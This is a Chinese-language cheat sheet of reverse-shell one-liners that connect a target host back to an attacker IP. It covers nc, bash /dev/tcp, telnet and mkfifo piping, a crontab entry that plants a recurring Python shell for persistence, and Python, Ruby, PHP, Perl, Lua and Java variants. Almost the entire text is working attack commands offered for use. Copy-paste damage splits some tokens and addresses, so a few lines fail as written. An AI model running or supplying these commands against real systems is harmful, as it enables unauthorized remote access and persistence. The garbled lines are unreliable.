一、nc 反弹

如果有-e 参数：
nc -e /bin/sh 10.22.225.77 777
如果没有-e 参数：
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.22.225.77 777 >/tm
p/f

二、bash 反弹

第一种方式：
bash -i >& /dev/tcp/10.22.225.77/777 0>&1
第二种方式:[不建议用 exec,兼容性并不好]

exec 5<>/dev/tcp/10.22.225.77/777;cat <&5 | while read line; do $line 2>& 5 >&5; done

三、telnet 反弹

第一种方式：
telnet 10.22.225.77 777 | /bin/bash | telnet 10.22.225.77 888
攻击者主机上打开两个终端分别执行监听：
nc -lvvp 777
nc -lvvp 888
目标主机中执行：
telnet 10.22.225.77 777 | /bin/bash | telnet 10.22.225.77 888
监听两个端口分别用来输入和输出，其中 10.22.225.77 均为攻击者 ip。
反弹 shell 成功后，在监听 777 端口的终端中执行命令可以在另一个终端中看到命令执行结果。
第二种方式：
mknod test p && telnet 10.22.225.77 777 0<test | /bin/bash 1>test
top 命令看不到结果，因为不是 tty

四、crontab 反弹

(crontab -l;printf “* * * * * /usr/bin/python -c ‘import socket,subprocess,o s;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”10.22.225. 77\”,777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subpro cess.call([\”/bin/sh\”,\”-i\”]);’\n”)|crontab –
//限制很多

五、常见脚本反弹：

1) Python 反弹

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,sock et.SOCK_STREAM);s.connect((“1.1.1.1”,2222));os.dup2(s.fileno(),0); os.dup2(s.file
no(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

2) ruby 反弹第一种：

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“10.22.225.77″,”777″);while (cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
第二种：
ruby -rsocket -e’f=TCPSocket.open(“10.22.225.77″,”777”).to_i;exec sprintf(“/b in/sh -i <&%d >&%d 2>&%d”,f,f,f)’

3) php 反弹

php -r ‘$sock=fsockopen(“10.22.225.77″,”777”);exec(“/bin/bash -i <&3 >&3 2>&3”);’

4) Perl 反弹【几乎主流的 linux 都有 perl 环境】

依赖/bin/bash:
perl -e ‘use Socket;$i=”10.22.225.77″;$p=777;socket(S,PF_INET,SOCK_STR EAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(ST DIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/bash -i”);};’
不依赖/bin/bash:
perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”10.22.
225.77:777″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

5) Lua 反弹

lua -e “require(‘socket’);require(‘os’);t=socket.tcp();t:connect(‘10.22.225.77’,’777 ‘);os.execute(‘/bin/sh -i <&3 >&3 2>&3’);”

6) java 反弹

public class Revs {
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub Runtime r = Runtime.getRuntime();

String cmd[]= {“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.22.225.77/77 7;cat <&5 | while read line; do $line 2>&5 >&5; done”};
Process p = r.exec(cmd); p.waitFor();
}
}